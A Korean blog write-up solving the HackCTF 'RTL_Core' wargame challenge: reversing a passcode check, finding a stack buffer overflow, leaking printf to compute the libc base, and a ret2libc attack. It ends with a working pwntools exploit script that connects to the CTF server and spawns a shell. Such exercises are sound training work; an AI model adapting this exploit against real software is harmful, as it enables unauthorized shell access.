file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.
checksec 명령으로 적용된 보호기법들을 확인하면 다음과 같다.
바이너리를 실행시키면 다음과 같이 패스코드를 입력하라고 한다.
아이다 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.
passcode를 입력 받고, 입력받은 값을 check_passcode 라는 함수에 넣어 함수의 리턴값과 hashcode값과 같으면 core 함수를 실행한다.
먼저 check_passcode 함수를 확인하면 다음과 같다.
check_passcode 함수는 매개변수 a1의 주소에 있는 값을 4바이트씩 5번 반복하면서 v2에 누적하고 v2를 반환한다.
hashcode의 값은 다음과 같다.
따라서 main 함수의 조건문을 만족시키려면 0xc0d9b0a7 / 5 를 하면 0x2691f021가 나오고 나머지로 0x2가 나오기 때문에 0x2691f021를 4번 입력하고, 5번째는 0x2691f023을 입력하면 첫번째 조건문을 만족시킬 수 있다.
core 함수를 확인하면 다음과 같다.
dlsym()함수로 printf의 주소를 가져와 출력하고 read 함수를 리턴한다. buf의 크기는 0x3e 이지만 0x64만큼 읽기 때문에 bof가 발생하며 printf 주소를 활용하여 rtl 공격을 시도할 수 있다.
서버에서 익스를 성공하려면 서버의 libc 파일을 참조해야 하기 때문에 문제에서 제공해준 서버의 libc.so.6 파일을 이용하여 libc base 주소를 구하고, system 함수와 "/bin/sh"의 offset을 구하여 rtl 공격을 통해 쉘을 딸 수 있다.
payload는 0x3e + 4 만큼 채우고 system()함수의 주소를 넣고 4바이트 채우고 인자로 들어갈 "/bin/sh"문자열의 주소를 넣으면 된다. 따라서 다음과 같이 익스코드를 작성하여 실행하면 플래그를 얻을 수 있다.
from pwn import *
# p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')
printf_offset = libc.symbols['printf']
sys_offset = libc.symbols['system']
binsh_offset = list(libc.search('/bin/sh'))[0]
pay = p32(0x2691f021) * 4
pay += p32(0x2691f023)
p.sendline(pay)
p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)
libcbase = printf_addr - printf_offset
sys_addr = libcbase + sys_offset
binsh_addr = libcbase + binsh_offset
pay = ''
pay += 'A' * 66
pay += p32(sys_addr)
pay += 'BBBB'
pay += p32(binsh_addr)
p.sendline(pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] Yes or no (0) | 2021.08.23 |
---|---|
[HackCTF] Look at me (0) | 2021.08.06 |
[HackCTF] Random Key (0) | 2021.07.28 |
[HackCTF] Poet (0) | 2021.07.27 |
[HackCTF] RTL_World (0) | 2021.07.24 |